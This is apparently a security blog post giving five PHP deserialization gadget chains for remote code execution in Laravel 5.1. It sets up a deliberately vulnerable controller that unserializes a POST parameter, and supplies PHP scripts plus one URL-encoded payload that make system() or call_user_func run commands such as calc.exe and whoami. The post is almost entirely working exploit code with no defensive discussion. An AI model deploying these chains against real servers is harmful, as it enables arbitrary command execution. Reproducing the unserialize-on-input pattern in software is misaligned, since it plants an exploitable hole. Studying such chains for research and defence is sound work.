Laravel5.1 Unserialize RCE

[beicheng-maker]

Laravel 5.1 POP Chain 1-5

composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*" app/Http/Controllers/UsersController.php adding a controller UsersController

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class UsersController extends Controller
{

    /**

     * 创建一个新用户。

     *

     * @param  Request  $request

     * @return Response

     */
    public function store(Request $request)
    {  
        echo "Please post cmd to unserialize";

        $payload=$request->input("cmd");

        unserialize($payload);
        //
    }
}
?>

routes/web.php Route==post('/test',[\App\Http\Controllers\UsersController==class,'store']);

<?php
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------

| Web Routes

|--------------------------------------------------------------------------

|

| Here is where you can register web routes for your application. These

| routes are loaded by the RouteServiceProvider within a group which

| contains the "web" middleware group. Now create something great!

|

*/

Route==post('/test',[\App\Http\Controllers\UsersController==class,'store']);

0x01 RCE 1

<?php
namespace Faker;
class ChanceGenerator{
    private $weight;
    protected $default;
    public function __construct(){
        $this->weight=0;
        $this->default='calc.exe';
    }
}
namespace Faker;
class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    public function __construct(){
        $this->generator=new ChanceGenerator();
        $this->validator='system';
        $this->maxRetries=1;
    }
}

namespace Illuminate\Broadcasting;
use Faker\ValidGenerator;
class PendingBroadcast{
    protected $events;
    public function __construct(){
        $this->events=new ValidGenerator();
    }
}
echo urlencode(serialize(new PendingBroadcast));
?>

cmd=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A20%3A%22Faker%5CValidGenerator%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00generator%22%3BO%3A21%3A%22Faker%5CChanceGenerator%22%3A2%3A%7Bs%3A29%3A%22%00Faker%5CChanceGenerator%00weight%22%3Bi%3A0%3Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A8%3A%22calc.exe%22%3B%7Ds%3A12%3A%22%00%2A%00validator%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00maxRetries%22%3Bi%3A1%3B%7D%7D

0x02 RCE2

<?php
namespace Illuminate\Validation;
class Validator{
    public $extensions = [];
    public function __construct(){
        $this->extensions['']='call_user_func';
    }
}

namespace Illuminate\Routing;
use Illuminate\Validation\Validator;
class PendingResourceRegistration{
    protected $registrar;
    protected $name;
    protected $controller;
    protected $options;
    public function __construct(){
        $this->name='call_user_func';
        $this->controller='system';
        $this->options='whoami';
        $this->registrar=new Validator;
        }
}

RCE 3

<?php

namespace Illuminate\Auth;
class RequestGuard{
    protected $provider;
    protected $callback;
    protected $request;
    public function __construct(){
        $this->callback = 'call_user_func';
        $this->request = 'system';
        $this->provider = 'calc.exe';
    }
}

namespace Illuminate\View;
use Illuminate\Auth\RequestGuard;
class InvokableComponentVariable{
    protected $callable=[];
    public function __construct(){
        $this->callable=[new RequestGuard,'user'];
    }
}
namespace SebastianBergmann\RecursionContext;
use Illuminate\View\InvokableComponentVariable;
final class Context{
    private $arrays = [];
    public function __construct(){
        $this->arrays=new InvokableComponentVariable;
    }
}
echo urlencode(serialize(new Context));
?>

RCE 4

<?php
namespace Faker;
class DefaultGenerator{
    public $default;

}
namespace Carbon;
class Carbon{}

namespace Faker;
class Generator{
    protected $formatters = [];
    public function __construct(){
        $this->formatters['huahua']='system';
    }
}

namespace Carbon;
use Carbon\Carbon;
use Faker\DefaultGenerator;
use Faker\Generator;
class CarbonPeriod{
    protected $current;
    protected $dateClass;
    protected $filters = [];
    protected $key;
    public function __construct(){
        $this->dateClass=new DefaultGenerator;
        $this->dateClass->default=new DefaultGenerator;
        $this->dateClass->default->default='huahua';
        $this->current=new Carbon;
        $this->filters[][]=[new Generator,'format'];
        $this->key=array("calc.exe");
    }
}

namespace Illuminate\View;
use Carbon\CarbonPeriod;
class InvokableComponentVariable{
    protected $callable=[];
    public function __construct(){
        $this->callable=[new CarbonPeriod,'valid'];
    }
}
namespace SebastianBergmann\RecursionContext;
use Illuminate\View\InvokableComponentVariable;
final class Context{
    private $arrays = [];
    public function __construct(){
        $this->arrays=new InvokableComponentVariable;
    }
}
echo urlencode(serialize(new Context));
?>

RCE 5

<?php
namespace Faker;
class DefaultGenerator{
    public $default;

}
namespace Prophecy\Doubler\Generator;
use Faker\DefaultGenerator;
class ClassCreator{
    private $generator;
    public function __construct(){
        $this->generator=new DefaultGenerator;
        $this->generator->default='phpinfo();';

    }

}

namespace Carbon;
class Carbon{}

namespace Prophecy\Doubler\Generator\Node;
class ClassNode{}

namespace Carbon;
use Faker\DefaultGenerator;
use Prophecy\Doubler\Generator\ClassCreator;
use Prophecy\Doubler\Generator\Node\ClassNode;
class CarbonPeriod{
    protected $current;
    protected $dateClass;
    protected $filters = [];
    protected $key;
    public function __construct(){
        $this->dateClass=new DefaultGenerator;
        $this->dateClass->default=new DefaultGenerator;
        $this->dateClass->default->default='huahua';
        $this->current=new Carbon;
        $this->filters[][]=[new ClassCreator,'create'];
        $this->key=new ClassNode;
    }
}

namespace Illuminate\View;
use Carbon\CarbonPeriod;
class InvokableComponentVariable{
    protected $callable=[];
    public function __construct(){
        $this->callable=[new CarbonPeriod,'valid'];
    }
}
namespace SebastianBergmann\RecursionContext;
use Illuminate\View\InvokableComponentVariable;
final class Context{
    private $arrays = [];
    public function __construct(){
        $this->arrays=new InvokableComponentVariable;
    }
}
echo urlencode(serialize(new Context));
?>